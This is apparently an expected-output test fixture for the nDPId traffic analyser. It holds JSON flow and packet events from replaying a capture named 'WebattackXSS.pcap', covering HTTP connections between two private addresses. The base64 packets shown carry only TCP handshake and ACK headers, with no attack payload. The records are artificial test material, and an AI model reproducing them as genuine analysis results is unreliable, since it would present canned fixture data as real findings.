+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":612,"flow_packet_id":6,"flow_first_seen":1499348012728,"flow_last_seen":1499348017905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35048,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":612,"flow_packet_id":6,"flow_first_seen":1499348012728,"flow_last_seen":1499348017905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35048,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":613,"flow_packet_id":6,"flow_first_seen":1499348015250,"flow_last_seen":1499348020905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35074,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":613,"flow_packet_id":6,"flow_first_seen":1499348015250,"flow_last_seen":1499348020905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35074,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":614,"flow_packet_id":6,"flow_first_seen":1499348016526,"flow_last_seen":1499348021905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35088,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":614,"flow_packet_id":6,"flow_first_seen":1499348016526,"flow_last_seen":1499348021905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35088,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9234,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":652,"flow_packet_id":1,"flow_first_seen":1499348082422,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35776,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":652,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9234,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348082,"pkt_ts_usec":422606,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8EzVAAD4GspusEAABwKgKMovAAFDEhDu+AAAAAKACchCo6AAAAgQFtAQCCAoBPSiLAAAAAAEDAwc="} +00445{"flow_id":652,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9235,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348082,"pkt_ts_usec":422764,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi8Dw+8kBxIQ7v6AScSDx4wAAAgQFtAQCCAoD5vn\/AT0oiwEDAwc="} +00434{"flow_id":652,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9236,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348082,"pkt_ts_usec":423500,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EzZAAD4GsqKsEAABwKgKMovAAFDEhDu\/8PvJAoAQAOWQ6wAAAQEICgE9KIsD5vn\/"} +00433{"flow_id":649,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9240,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348082,"pkt_ts_usec":919746,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00H1AAD4G9VqsEAABwKgKMouKAFBc0\/MODkleX4ARAOWTcQAAAQEICgE9KQcD5vTq"} +00432{"flow_id":649,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9241,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348082,"pkt_ts_usec":919933,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pCRAAEAGH7TAqAoyrBAAAQBQi4oOSV5fXNPzD4ARAOON4QAAAQEICgPm+nsBPSkH"} +00433{"flow_id":649,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9242,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348082,"pkt_ts_usec":920677,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00H5AAD4G9VmsEAABwKgKMouKAFBc0\/MPDkleYIAQAOWN3wAAAQEICgE9KQcD5vp7"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9246,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":653,"flow_packet_id":1,"flow_first_seen":1499348083715,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35790,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":653,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9246,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348083,"pkt_ts_usec":715901,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8aIdAAD4GXUmsEAABwKgKMovOAFCsxEFJAAAAAKACchC5zAAAAgQFtAQCCAoBPSnOAAAAAAEDAwc="} +00444{"flow_id":653,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9247,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348083,"pkt_ts_usec":716010,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi847RWyhrMRBSqAScSATnAAAAgQFtAQCCAoD5vtCAT0pzgEDAwc="} +00432{"flow_id":653,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9248,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348083,"pkt_ts_usec":716792,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aIhAAD4GXVCsEAABwKgKMovOAFCsxEFKO0VsooAQAOWyowAAAQEICgE9Kc4D5vtC"} +00432{"flow_id":650,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9252,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348083,"pkt_ts_usec":920097,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06yVAAD4G2rKsEAABwKgKMouYAFAizM+eJWJ3UIARAOW+jgAAAQEICgE9KgED5vYy"} +00432{"flow_id":650,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9253,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348083,"pkt_ts_usec":920316,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0jCVAAEAGN7PAqAoyrBAAAQBQi5glYndQIszPn4ARAOO5TAAAAQEICgPm+3UBPSoB"} +00432{"flow_id":650,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9254,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348083,"pkt_ts_usec":921047,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06yZAAD4G2rGsEAABwKgKMouYAFAizM+fJWJ3UYAQAOW5SgAAAQEICgE9KgED5vt1"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9264,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":654,"flow_packet_id":1,"flow_first_seen":1499348086300,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35816,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":654,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9264,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348086,"pkt_ts_usec":300221,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8GytAAD4GqqWsEAABwKgKMovoAFCxvjd\/AAAAAKACchC7\/AAAAgQFtAQCCAoBPSxUAAAAAAEDAwc="} +00444{"flow_id":654,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9265,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348086,"pkt_ts_usec":300346,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi+jtWBzhsb43gKAScSCw8gAAAgQFtAQCCAoD5v3IAT0sVAEDAwc="} +00432{"flow_id":654,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9266,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348086,"pkt_ts_usec":301095,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GyxAAD4GqqysEAABwKgKMovoAFCxvjeA7Vgc4oAQAOVP+gAAAQEICgE9LFQD5v3I"} +00432{"flow_id":651,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9270,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348086,"pkt_ts_usec":920721,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P1hAAD4GhoCsEAABwKgKMouyAFAGWhgWBknNlIARAOVV0QAAAQEICgE9LO8D5vi3"} +00434{"flow_id":651,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9271,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348086,"pkt_ts_usec":920982,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0M\/dAAEAGj+HAqAoyrBAAAQBQi7IGSc2UBloYF4ARAONQJgAAAQEICgPm\/mMBPSzv"} +00432{"flow_id":651,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9272,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348086,"pkt_ts_usec":921734,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P1lAAD4Ghn+sEAABwKgKMouyAFAGWhgXBknNlYAQAOVQIwAAAQEICgE9LPAD5v5j"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9276,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":655,"flow_packet_id":1,"flow_first_seen":1499348087568,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35830,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":655,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9276,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348087,"pkt_ts_usec":568323,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8WltAAD4Ga3WsEAABwKgKMov2AFAj3nfKAAAAAKACchAIRwAAAgQFtAQCCAoBPS2RAAAAAAEDAwc="} +00445{"flow_id":655,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9277,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348087,"pkt_ts_usec":568445,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi\/boFFliI953y6AScSDEwgAAAgQFtAQCCAoD5v8FAT0tkQEDAwc="} +00432{"flow_id":655,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9278,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348087,"pkt_ts_usec":569190,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WlxAAD4Ga3ysEAABwKgKMov2AFAj3nfL6BRZY4AQAOVjygAAAQEICgE9LZED5v8F"} +00434{"flow_id":652,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9282,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348087,"pkt_ts_usec":921209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EzdAAD4GsqGsEAABwKgKMovAAFDEhDu\/8PvJAoARAOWLjAAAAQEICgE9LekD5vn\/"} +00433{"flow_id":652,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9283,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348087,"pkt_ts_usec":921472,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Nl9AAEAGjXnAqAoyrBAAAQBQi8Dw+8kCxIQ7wIARAOOGLwAAAQEICgPm\/10BPS3p"} +00432{"flow_id":652,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9284,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348087,"pkt_ts_usec":922030,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EzhAAD4GsqCsEAABwKgKMovAAFDEhDvA8PvJA4AQAOWGLAAAAQEICgE9LeoD5v9d"} +00432{"flow_id":653,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9291,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348088,"pkt_ts_usec":921632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aIlAAD4GXU+sEAABwKgKMovOAFCsxEFKO0VsooARAOWtjAAAAQEICgE9LuQD5vtC"} +00432{"flow_id":653,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9292,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348088,"pkt_ts_usec":921880,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0bPVAAEAGVuPAqAoyrBAAAQBQi847RWyirMRBS4ARAOOoeAAAAQEICgPnAFcBPS7k"} +00432{"flow_id":653,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9293,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348088,"pkt_ts_usec":922438,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aIpAAD4GXU6sEAABwKgKMovOAFCsxEFLO0Vso4AQAOWodgAAAQEICgE9LuQD5wBX"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9297,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":656,"flow_packet_id":1,"flow_first_seen":1499348090129,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35856,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":656,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9297,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348090,"pkt_ts_usec":129532,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8nGpAAD4GKWasEAABwKgKMowQAFDWkax4AAAAAKACchAeSgAAAgQFtAQCCAoBPTASAAAAAAEDAwc="} +00444{"flow_id":656,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9298,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348090,"pkt_ts_usec":129654,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjBAuWbjG1pGseaAScSAynQAAAgQFtAQCCAoD5wGFAT0wEgEDAwc="} +00432{"flow_id":656,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9299,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348090,"pkt_ts_usec":130226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nGtAAD4GKW2sEAABwKgKMowQAFDWkax5Llm4x4AQAOXRpAAAAQEICgE9MBID5wGF"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9306,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":657,"flow_packet_id":1,"flow_first_seen":1499348091413,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35870,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":657,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9306,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348091,"pkt_ts_usec":413325,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8nrdAAD4GJxmsEAABwKgKMoweAFAj3q\/lAAAAAKACchDMQQAAAgQFtAQCCAoBPTFTAAAAAAEDAwc="} +00445{"flow_id":657,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9307,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348091,"pkt_ts_usec":413450,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjB4dm6koI96v5qAScSD\/rwAAAgQFtAQCCAoD5wLGAT0xUwEDAwc="} +00433{"flow_id":657,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9308,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348091,"pkt_ts_usec":414216,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nrhAAD4GJyCsEAABwKgKMoweAFAj3q\/mHZupKYAQAOWetwAAAQEICgE9MVMD5wLG"} +00432{"flow_id":654,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9312,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348091,"pkt_ts_usec":922718,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Gy1AAD4GqqusEAABwKgKMovoAFCxvjeA7Vgc4oARAOVKewAAAQEICgE9MdID5v3I"} +00433{"flow_id":654,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9313,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348091,"pkt_ts_usec":922988,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0H6RAAEAGpDTAqAoyrBAAAQBQi+jtWBzisb43gYARAONE\/gAAAQEICgPnA0YBPTHS"} +00433{"flow_id":654,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9314,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348091,"pkt_ts_usec":923741,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Gy5AAD4GqqqsEAABwKgKMovoAFCxvjeB7Vgc44AQAOVE\/AAAAQEICgE9MdID5wNG"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":615,"flow_packet_id":6,"flow_first_seen":1499348019059,"flow_last_seen":1499348024906,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35114,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":615,"flow_packet_id":6,"flow_first_seen":1499348019059,"flow_last_seen":1499348024906,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35114,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":616,"flow_packet_id":6,"flow_first_seen":1499348020357,"flow_last_seen":1499348025907,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35128,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 